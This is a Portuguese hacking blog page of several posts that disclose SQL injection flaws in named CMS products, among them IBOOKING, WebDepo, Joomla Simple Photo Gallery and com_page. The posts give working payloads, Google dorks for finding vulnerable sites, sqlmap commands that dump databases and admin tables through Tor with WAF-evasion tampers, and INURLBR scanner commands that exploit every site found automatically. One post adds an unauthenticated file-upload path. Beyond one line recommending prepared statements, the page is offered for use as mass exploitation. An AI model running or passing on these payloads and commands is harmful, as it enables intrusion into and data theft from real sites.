Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

Mostrando postagens com marcador sqlmap. Mostrar todas as postagens
Mostrando postagens com marcador sqlmap. Mostrar todas as postagens

terça-feira, 15 de setembro de 2015

( 0day ) IBOOKING CMS - INJEÇÃO DE SQL e Exploração em massa



IBOOKING CMS é um sistema voltado pro ramo de hotelaria, gerenciamento de reservas.
Como próprio site do desenvolvedor diz:

Motor de Reservas: Com o nosso motor de reservas você pode vender as diárias do seu hotel diretamente no seu site e sem precisar pagar comissão. Uma forma eficaz de ampliar sua lucratividade e interagir com o cliente desde o momento da compra.

Tal sistema tem uma falha grave de Injeção SQL, explorada via request GET no parâmetro idPousada do arquivo filtro_faixa_etaria.php dentro da pasta ou URL dinâmica /motor-de-reservas/. INFORMAÇÕES: 

[+] FORNECEDOR: WWW.ibooking.com.br
[+] VERSÕES VULNERÁVEIS: TODAS [+] ARQUIVO: filtro_faixa_etaria.php [+] PASTA OU URL DINÂMICA: /motor-de-reservas [+] PARÂMETRO:  idPousada(GET)
[+] DORK: intext:"Desenvolvido por ibooking" [+] REPORTADO: 15/10/2015

A request vulneravel é feito através de uma function javascript encontrada dentro de /motor-de-reservas

Código:
jQuery(function($){        
   $("#quartos").change(function() {
     var qtde_quartos = $(this).val(); 
     $.ajax({ 
       type: "GET", 
       url: "filtro_faixa_etaria.php", 
       data: "qtde_quartos="+qtde_quartos+"&idPousada=61", 
       success: function(xml){ 
        $("#filtro_faixa_etaria").html(xml);
       } 
     }); 
  }); 
  
  $.ajax({ 
    type: "GET", 
    url: "filtro_faixa_etaria.php", 
    data: "qtde_quartos=1&idPousada=61", 
    success: function(xml){ 
      $("#filtro_faixa_etaria").html(xml);
    } 
  }); 
  
   
 });


URL Vulnerável:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61

POC:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+(INJEÇÃO_SQL) Exemplo:

http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)

Detalhes na injeção SQL é usado FUNCTIONS básicas de injeção, mas seu diferencial é uso de variáveis Globais do MySQL.

@@GLOBAL.version = VERSÃO BANCO DE DADOS MYSQL
@@GLOBAL.version_compile_os = SERVIDOR COMPILADO
@@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA  DO SERVIDOR

Também passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injeção ocorreu como esperado.
0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::

Print saída da injeção:
Detalhes na injeção SQL é usado FUNCTIONS básicas de injeção, mas seu diferencial é uso de variáveis Globais do MySQL.  @@GLOBAL.version = VERSÃO BANCO DE DADOS MYSQL @@GLOBAL.version_compile_os = SERVIDOR COMPILADO @@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA  DO SERVIDOR  Também passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injeção ocorreu como esperado. 0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::  Print saída da injeção:


Exploração em massa usando scanner INURLBR
Baixar: https://github.com/googleinurl/SCANNER-INURLBR

Montando comando:

SETANDO DORK DE PESQUISA
--dork 'YOU_DORK'
- USE --dork 'intext:"Desenvolvido por ibooking"'

SETANDO ARQUIVO DE SAÍDA:
- USE: -s 'ibooking.txt'

SETANDO STRING EXPLOIT GET
--exploit-get 'EXPLOIT_GET'
- USE--exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'

SETANDO TIPO DE VALIDAÇÃO: 
- USE: -t 3 
3 O terceiro tipo tenta válido o erro definido por: -a 'VALUE_INSIDE_THE _target " mais as validações padrões do scanner, o diferencial é que  --exploit-get é injetado direto na url:
Exemplo: --exploit-get '/index.php?id=1&file=conect.php'INJEÇÃO URL: http://www.target.br/index.php?id=1&file=conect.php

SETANDO STRING DE VALIDAÇÃO:
Especifique a string que será usada como validação no script:
Exemplo:  -a {string}
Usando:    -a '<title>hello world</title>'
Se o valor específico é encontrado no alvo, ele é considerado vulnerável.
- USE:     -a 'INURLBR_VULN'
O valor INURLBR_VULN é passado no formato hexadecimal na string exploit-get

COMANDO COMPLETO:

php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t-a 'INURLBR_VULN'

Print saída:

Montando comando:  SETANDO DORK DE PESQUISA --dork 'YOU_DORK' - USE --dork 'intext:"Desenvolvido por ibooking"'  SETANDO ARQUIVO DE SAÍDA: - USE: -s 'ibooking.txt'  SETANDO STRING EXPLOIT GET --exploit-get 'EXPLOIT_GET' - USE: --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'  SETANDO TIPO DE VALIDAÇÃO:  - USE: -t 3  3 O segundo tipo tenta válido o erro definido por: -a 'VALUE_INSIDE_THE _target " o parametro get setando no comando --exploit-get é injetado direto na url: Exemplo: --exploit-get '/index.php?id=1&file=conect.php' INJEÇÃO URL: http://www.target.br/index.php?id=1&file=conect.php  SETANDO STRING DE VALIDAÇÃO: Especifique a string que será usada como validação no script: Exemplo:  -a {string} Usando:    -a '<title>hello world</title>' Se o valor específico é encontrado no alvo, ele é considerado vulnerável. - USE:     -a 'INURLBR_VULN'  COMANDO COMPLETO:  php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN'  Print saída:


EXPLORANDO VIA SQLMAP:

python sqlmap.py -u 'http://ww.target.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=10,level=3,risk=2,dbms=MySQL,testing=Y,WAF/IPS/IDS=Y,check=Y'



EXPLORANDO INURLBR + SQLMAP:
Usando parâmetro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possível vulnerabilidade de acordo com as informações passadas.

php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"

Print saída: 
  EXPLORANDO INURLBR + SQLMAP: Usando parâmetro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possível vulnerabilidade de acordo com as informações passadas.  php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"



Use Prepares  statement sem moderação:
http://php.net/manual/pt_BR/pdo.prepare.php

Filtro de request seja POST ou GET:

O arquivo aparecendo ou não para o cliente, ele pode ser vulnerável do mesmo jeito.


Outra falha que foi encontrada no sistema semana passada de titulo:
(0day) IBOOKING CMS - LOCAL FILE DISCLOSURE VULNERABILITY
Encontrada por: Pablo Verlly Moreira, que já foi reportada e corrigida pelo admin, mas sem nem um agradecimento por parte da equipe.

https://ghostbin.com/paste/e99uz

Referencias:

quarta-feira, 13 de maio de 2015

Web India Solutions CMS 2015 - SQL Injection Vulnerability

VULNERABILIDADE SQLI EM CMS INDIANO  Web India Solutions CMS 2015


Our Website Designing and Development services include Website redesigning, creation of Responsive Websites, Website content updates,  E-commerce Website designing etc. You can contact us for all the website related services. We use HTML5, CSS3, JavaScript, Ajax, PHP,  WordPress and Joomla for Development and Content Management.  (Copy of the Vendor Homepage: http://www.webindiasolutions.com/ )
[ + ] References (Source):
http://www.vulnerability-lab.com/get_content.php?id=1495

[ + ] Release Date:
2015-05-13
[ + ] Vulnerability Laboratory ID (VL-ID):
1495
[ + ] Common Vulnerability Scoring System:
8.3
[ + ] Product & Service Introduction:
Our Website Designing and Development services include Website redesigning, creation of Responsive Websites, Website content updates, 
E-commerce Website designing etc. You can contact us for all the website related services. We use HTML5, CSS3, JavaScript, Ajax, PHP, 
WordPress and Joomla for Development and Content Management.

(Copy of the Vendor Homepage: http://www.webindiasolutions.com/ )


[ + ] Abstract Advisory Information:
An independent vulnerability laboratory researcher discovered a remote sql injection web vulnerability in the official CMS Web India Solutions (2015 Q2).

[ + ] Vulnerability Disclosure Timeline:
2015-05-13: Public Disclosure (Vulnerability Laboratory)

[ + ] Discovery Status:
Published

[ + ] Affected Product(s):
Web India Solutions
Product: Content Management System 2015 Q2

[ + ] Exploitation Technique:
Remote

[ + ] Severity Level:
High

[ + ] Technical Details & Description:
Multiple remote sql injection vulnerabilities has been discovered in the official Content Management System Web India Solutions (2015 Q2).
The vulnerability allows remote attackers to execute own sql commands to compromise the web-applicaation or database management system.

The vulnerabilities are located in the id value of the `departments.php`,`offers.php` and `photogallery_view.php` files. Remote attackers are 
able to execute own sql commands by manipulation of the GET method request with the vulnerable id value. The request method to inject the 
command is GET and the issue is located on the application-side.

The security risk of the sql injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.3.
Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the remote sql injection results in dbms, web-server and web-application compromise.

Request Method(s):   GET
Vulnerable File(s):  departments.php, offers.php, photogallery_view.php
Vulnerable Parameter(s): id

[ + ] Proof of Concept (PoC):
The remote sql injection web vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
For security demonstration or to reproduce follow the provided information and steps below to continue.

[ + ] Dork(s):
intext:"Website Development Web India Solutions" +inurl:.php?id=  
intext:"Web India Solutions" & inurl:"php?id="
intext:"Website Development Web India Solutions" +inurl:.php?id=   intext:"Web India Solutions" & inurl:"php?id="
[ + ] PoC: Payload(s):
https://www.[SITE].com/anyinfectedfile.php?id=(ID)+XPL

[ + ] SQLMAP Payload(s):
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: id=34' AND 4678=4678#

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: id=34' AND (SELECT * FROM (SELECT(SLEEP(5)))mQsU)#

    Type: UNION query
    Title: MySQL UNION query (NULL) - 9 columns
    Payload: id=-4358' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x717a766a71,0x674c4e4756745179796a,0x7178767871),NULL,NULL,NULL,NULL#

[ + ] COMMAND(s) SQLMAP:
sqlmap -u http://www.site.com/filevuln.php?id=(ID)--dbs --tamper modsecurityzeroversioned.py --level 3 --risk 2 --random-agent --no-cast

sqlmap -u http://www.site.com/filevuln.php?id=(ID) -D [DB_NAME] --tables --tamper modsecurityzeroversioned.py,space2morehash.py  --level 3 --risk 2 --random-agent --no-cast

sqlmap -u http://www.site.com/filevuln.php?id=(ID) --dump -D [DB_NAME] -T cms_admin --tamper modsecurityzeroversioned.py,space2morehash.py  --level 3 --risk 2 --random-agent --no-cast

- OUTPUT PRINT SQLMAP:    
sqlmap -u http://www.site.com/filevuln.php?id=(ID)--dbs --tamper modsecurityzeroversioned.py --level 3 --risk 2 --random-agent --no-cast  sqlmap -u http://www.site.com/filevuln.php?id=(ID) -D [DB_NAME] --tables --tamper modsecurityzeroversioned.py,space2morehash.py  --level 3 --risk 2 --random-agent --no-cast  sqlmap -u http://www.site.com/filevuln.php?id=(ID) --dump -D [DB_NAME] -T cms_admin --tamper modsecurityzeroversioned.py,space2morehash.py  --level 3 --risk 2 --random-agent --no-cast


[+] EXPLORING WITH MASS INURLBR:
php inurlbr.php --dork 'intext:"Web India Solutions" & inurl:"php?id="' -s sqli.txt  -q 1,6 --exploit-get "?&id=1%270x27" --command-vul "sqlmap.py -u '_TARGETFULL_' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch --tamper modsecurityzeroversioned.py"

- OUTPUT PRINT INURLBR: 
[+] EXPLORING WITH MASS INURLBR: php inurlbr.php --dork 'intext:"Web India Solutions" & inurl:"php?id="' -s sqli.txt  -q 1,6 --exploit-get "?&id=1%270x27" --command-vul "sqlmap.py -u '_TARGETFULL_' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch --tamper modsecurityzeroversioned.py" OUTPUT PRINT SQLMAP:


[+] DOWNLOAD SCANNER: 
https://github.com/googleinurl/SCANNER-INURLBR


[ + ] REF FONTE:
http://www.vulnerability-lab.com/get_content.php?id=1495

sábado, 9 de maio de 2015

Explorando CMS Aadi Infosolutions com SQLMAP + INURLBR EM MASSA

Nesse artigo vamos explorar um padrão SQLI no CMS da empresa "Aadi Infosolutions",  muito usado por clientes Indianos.
Vamos usar sqlmap para injeção de SQL e Scanner inurlbr para buscar alvos em massa.

[+] Discoverer Author: Killer~X
[+] EMAIL:             [email protected]
[+] FACEBOOK:          http://www.fb.com/xXalreshyXx
[+] ASK:               http://www.ask.fm/ALRESHY


[+] Dork:      
intext:"Aadi" & inurl:"page.php?id="

[+] POC:      
http://www.target.com/page.php?id=1+XPL_SQLI

[+] Exploit:
DEBUGsqlmap  
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 1630=1630 AND 'DBoa'='DBoa
Vector: AND [INFERENCE]

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' AND (SELECT 3932 FROM(SELECT COUNT(*),CONCAT(0x717a627671,(SELECT (ELT(3932=3932,1))),0x716a6b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'wUln'='wUln
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1' AND (SELECT * FROM (SELECT(SLEEP(10)))HrzP) AND 'jmET'='jmET
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a627671,0x465169724a72556d4e4f,0x716a6b7071),NULL-- 

    Vector:  UNION ALL SELECT NULL,NULL,NULL,[QUERY],NULL-- 

[+] Login Page: 
http://www.test.com/admin

[+] EXPLORING WITH SQLMAP:
sqlmap.py -u 'http://www.target.com/page.php?id=1' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch
OUTPUT PRINT:
[+] EXPLORING WITH SQLMAP: sqlmap.py -u 'http://www.target.com/page.php?id=1' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch OUTPUT PRINT:

[+] EXPLORING WITH MASS INURLBR:
php inurlbr.php --dork 'intext:"Aadi" & inurl:"page.php?id="' -s aadi.txt  -q 1,6 --exploit-get "?&id=1%270x27" --command-vul "sqlmap.py -u '_TARGETFULL_' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch"
OUTPUT PRINT:
[+] EXPLORING WITH MASS INURLBR: php inurlbr.php --dork 'intext:"Aadi" & inurl:"page.php?id="' -s aadi.txt  -q 1,6 --exploit-get "&id=1'" --command-vul "sqlmap.py -u '_TARGETFULL_' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch" OUTPUT PRINT:


REF
http://www.exploit4arab.net/exploits/1486

sexta-feira, 27 de março de 2015

(0DAY) WebDepo - SQL injection

EXPLOIT NAME: MINI exploit-SQLMAP - (0DAY) WebDepo -SQL injection / INURL BRASIL

Nas minhas pesquisas na web, sobre file_upload descobre um CMS da empresa israelense WebDepo, o mesmo possui falha de file_upload sem autenticação, mas analisando seus GETS pude observar que também tem falhas SQLi em seus parâmetros GET.

AUTOR:       GoogleINURL
Blog:             http://blog.inurl.com.br
Twitter:         https://twitter.com/googleinurl
Fanpage:       https://fb.com/InurlBrasil
Pastebin:       http://pastebin.com/u/Googleinurl
GIT:              https://github.com/googleinurl
PSS:              http://packetstormsecurity.com/user/googleinurl
YOUTUBE:  http://youtube.com/c/INURLBrasil
PLUS:           http://google.com/+INURLBrasil



VENTOR:         http://www.webdepot.co.il
GET VULN:     wood=(id) / $wood=intval($_REQUEST['wood'])
  -----------------------------------------------------------------------------

DBMS: 'MySQL'
Exploit:      +AND+(SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x496e75726c42726173696c,0x3a3a,version(),(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END)),0x717a727a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

DBMS: 'Microsoft Access'
Exploit:      +UNION+ALL+SELECT+NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(120)&CHR(112)&CHR(113)&CHR(85)&CHR(116)&CHR(106)&CHR(110)&CHR(108)&CHR(90)&CHR(74)&CHR(113)&CHR(88)&CHR(116)&CHR(113)&CHR(118)&CHR(111)&CHR(100)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
  -----------------------------------------------------------------------------

http://target.us/text.asp?wood=(id)+Exploit

GOOGLE DORK:   inurl:"text.asp?wood="
GOOGLE DORK:   site:il inurl:"text.asp?wood="
GOOGLE DORK:   site:com inurl:"text.asp?wood="  

Exploit:

Execute exploit:
--help:
  -t : SET TARGET.
  -f : SET FILE TARGETS.
  -p : SET PROXY
  Execute:
  php WebDepoxpl.php -t target
  php WebDepoxpl.php -f targets.txt
  php WebDepoxpl.php -t target -p 'http://localhost:9090'

DOWNLOAD Exploit: http://pastebin.com/b6bWuw7k
  -----------------------------------------------------------------------------

EXPLOIT MASS USE SCANNER INURLBR
COMMAND: ./inurlbr.php --dork 'site:il inurl:text.asp?wood= ' -s 0dayWebDepo.txt -q 1,6 --exploit-get "?´'0x27" --command-all "php 0dayWebDepo.php -t '_TARGET_'"


EXPLOIT MASS USE SCANNER INURLBR COMMAND: ./inurlbr.php --dork 'site:il inurl:text.asp?wood= ' -s 0dayWebDepo.txt -q 1,6 --exploit-get "?´'0x27" --comand-all "php 0dayWebDepo.php -t '_TARGET_'"

DOWNLOAD INURLBR: https://github.com/googleinurl/SCANNER-INURLBR

VÍDEO 
  -----------------------------------------------------------------------------

A segunda falha:
Exploit fckeditor 2015
Vídeo: https://www.youtube.com/watch?v=2g1xxkMVgPk  
GOOGLE DORK: inurl:"/text.asp?wood=" site:il
Exploit: -admin/fckeditor/editor/filemanager/brow­ser/default/browser.html?Connector=conne­ctors/asp/connector.asp

A segunda falha: Exploit fckeditor 2015  GOOGLE DORK: inurl:"/text.asp?wood=" site:il Exploit: -admin/fckeditor/editor/filemanager/brow­ser/default/browser.html?Connector=conne­ctors/asp/connector.asp

POC:
[1] - http://target.us/target-admin/fckeditor/editor/filemanager/brow­ser/default/browser.html?Connector=conne­ctors/asp/connector.asp

[2] - http://target.us/userfiles/file/{YOU_FILE}

terça-feira, 17 de março de 2015

MINI EXPLOIT: Joomla Simple Photo Gallery - SQL injection + VIDEO

Usando miniexploit para explorar em massa vários alvos.

Usando miniexploit para explorar em massa vários alvos. Title: Joomla Simple Photo Gallery - SQL injection Date : 13-03-2015 Vendor Homepage: https://www.apptha.com/ Source Plugin: https://www.apptha.com/category/extension/joomla/simple-photo-gallery Version : 1 Tested on : sqlmap

Title: Joomla Simple Photo Gallery - SQL injection
Date : 13-03-2015
Vendor Homepage: https://www.apptha.com/
Source Plugin: https://www.apptha.com/category/extension/joomla/simple-photo-gallery
Version : 1
Tested on : sqlmap

POC:
http://{$target}/index.php?option=com_simplephotogallery&view=images&albumid=[SQLI]

Comando SQLMAP de exploração:
sqlmap  -u '{$target}/index.php?option=com_simplephotogallery&view=images&albumid=1' -p albumid --batch --dbms=MySQL --proxy 'http://localhost:8118' --random-agent --level 2 --risk 1 --eta --answers='follow=N' --dbs --is-dba

DORK de pesquisa:
Dork Google 1: inurl:/com_simplephotogallery site:com
Dork Google 2: inurl:/com_simplephotogallery site:org
Dork Google 3: inurl:/com_simplephotogallery site:fr
Dork Google 4: inurl:/com_simplephotogallery/


Agora vamos organizar nosso comando INURLBR  para executar nosso miniexploit.php
Primeiro vamos organizar o parâmetro --dork que captura seu filtro de busca.

 --dork Defines which dork the search engine will use.
     Example: --dork {dork}
     Usage:   --dork 'site:.gov.br inurl:php? id'
     - Using multiples dorks:
     Example: --dork {[DORK]dork1[DORK]dork2[DORK]dork3}
     Usage:   --dork '[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'
Parâmetro organizado:
--dork '[DORK]inurl:/com_simplephotogallery site:com[DORK]inurl:/com_simplephotogal lery site:org[DORK]inurl:/com_simplephotogallery site:fr[DORK]inurl:/com_simplephotogallery/'

Baixar MINI exploit-SQLMAP / Joomla Simple Photo Gallery 1.0 - SQL injection: 
http://pastebin.com/Gb5uhPKW
File: miniexploit.php

Baixar scanner INURLBR 1.0:
https://github.com/googleinurl/SCANNER-INURLBR
File: inurlbr.php


Executando:
./inurlbr.php --dork '[DORK]inurl:/com_simplephotogallery site:com[DORK]inurl:/com_simplephotogal lery site:org[DORK]inurl:/com_simplephotogallery site:fr[DORK]inurl:/com_simplephotogallery/' -s save.txt -q 1,6 --command-all "php miniexploit2.php '_TARGET_'"

quarta-feira, 17 de dezembro de 2014

INURLBR + SQLMAP EXPLOIT - Explorando com_page vamos a fundo no comando --command-all

Joomla Component com_page - SQL Injection
INURLBR + SQLMAP EXPLOIT - Explorando com_page vamos a fundo no comando --comand-all
Explorando falha SQL componente com_page o diferencial que vamos utilizar 2 ferramentas para otimizar o tempo de analise:
DORK[1]:
inurl:index.php?option=com_page&id_p=
--------------------------------------------------------------------------------------
DORK[2]: 
intext:option=com_page
--------------------------------------------------------------------------------------

Otimizando a busca
Quando usamos dorks temos um trabalho de acessar cada site testar e verificar se está vulnerável, muitas vezes remontar a url alvo.
Umas da utilidade do SCANNER INURLBR é fazer tal processo e otimizar nosso tempo.
Com analise de erros ou valores personalizados podemos identificar se está com erro padrão SQL e executar exploits/scripts externos para extrair mais informações.

Logica de processo:
  1. BUSCAR ALVOS EM MOTORES DE BUSCA.
  2. RETIRAR URLS INDESEJADAS.
  3. RETIRAR DUPLICATAS.
  4. CONVERTER VALORES EM UM ARRAY DE DADOS.
  5. ACESSAR ARRAY E PROCESSAR CADA URL INDIVIDUALMENTE.
  6. ANALISAR ERROS PADRÕES OU PERSONALIZAS.
  7. SE (OPÇÃO COMAND ESTIVER SETADA SERÁ EXECUTADO UM COMANDO NO TERMINAL) 
  8. ALVOS QUE FOREM ENCONTRADOS ERROS PADRÕES PREDEFINIDOS NO SCRIPT SERÁ SEPARADO EM UM ARQUIVO OUTPUT.

Usando SCANNER INURLBR:
Comando->{

Exmplo:
./inurlbr.php 
--dork 'YOUR_DORK' 
-s OUTPUT.txt  
-q  {OP_MOTOR_SEARCH}
--comand-all 'RUN_YOUR_COMMAND_IN_TERMINAL'

Usando:
./inurlbr.php --dork 'inurl:index.php?option=com_page & id_p' -s joomla.txt -q 1,6 --command-all './../../../googleinurl/pentest/sqlmap/sqlmap.py -u "_TARGETFULL_&option=com_page&id_p=8" -p id_p --dbs --time-sec 50 --random-agent --batch --proxy "http://localhost:8118" --dbms=MySQL'

Observação parâmetro --command-all:
Tal parâmetros executa comandos no terminal como próprio nome diz todos vai ser para cada valor encontrado pelo scanner em sua busca.
Pasamanos parâmetros de execução para explorarmos a falha SQLI do componente com uma ferramenta externa SQLMAP,
O script possibilita passar parâmetros como _TARGETFULL_ == URL completa encontrada pelo buscador.

Indo a fundo em --command-*
--command-vul Cada URL vulnerável encontrada irá executar os parâmetros deste comando.
      Exemplo: --command-vul {comando}
      Uso: --command-vul "nmap sV -p 22,80,21 _TARGET_ '
               --command-vul './exploit.sh _TARGET_ output.txt'

  --command-all Utilize este comand para especificar um único comando a cada URL encontrado.
      Exemplo: --command-all {comando}
      Uso: --command-all 'nmap sV -p 22,80,21 _TARGET_'
               --command-all './exploit.sh _TARGET_ output.txt'

observação:

     _TARGET_ Será substituído pelo URL filtrando somente o domínio.
Ex: www.google.com.br/?q=testeste _TARGET_ = www.google.com.br

    _TARGETFULL_ Será substituído pelo URL / alvo original encontrado.
Ex: www.google.com.br/?q=testeste _TARGETFULL_ = www.google.com.br/?q=testeste

Em nosso caso exploramos uma falha SQL-Injection com SQLMAP.
sqlmap.py -u "_TARGETFULL_&option=com_page&id_p=8" -p id_p --dbs --time-sec 50 --random-agent --batch --proxy "http://localhost:8118" --dbms=MySQL'

RESULTADO:
Observação parâmetro --comand-all: Tal parâmetros executa comandos no terminal como próprio nome diz todos vai ser para cada valor encontrado pelo scanner em sua busca. Pasamanos parâmetros de execução para explorarmos a falha SQLI do componente com uma ferramenta externa SQLMAP, O script possibilita passar parâmetros como _TARGETFULL_ == URL completa encontrada pelo buscador.

}


Referencias

segunda-feira, 15 de setembro de 2014

VÍDEO TUTORIAL Scanner INURLBR + NMAP + SQLMAP


VÍDEO TUTORIAL Scanner INURLBR + NMAP + SQLMAP

INURLBR Utilizando frameworks de comandos externos


Este tutorial mostra a utilização do SCANNER inurlbr.php
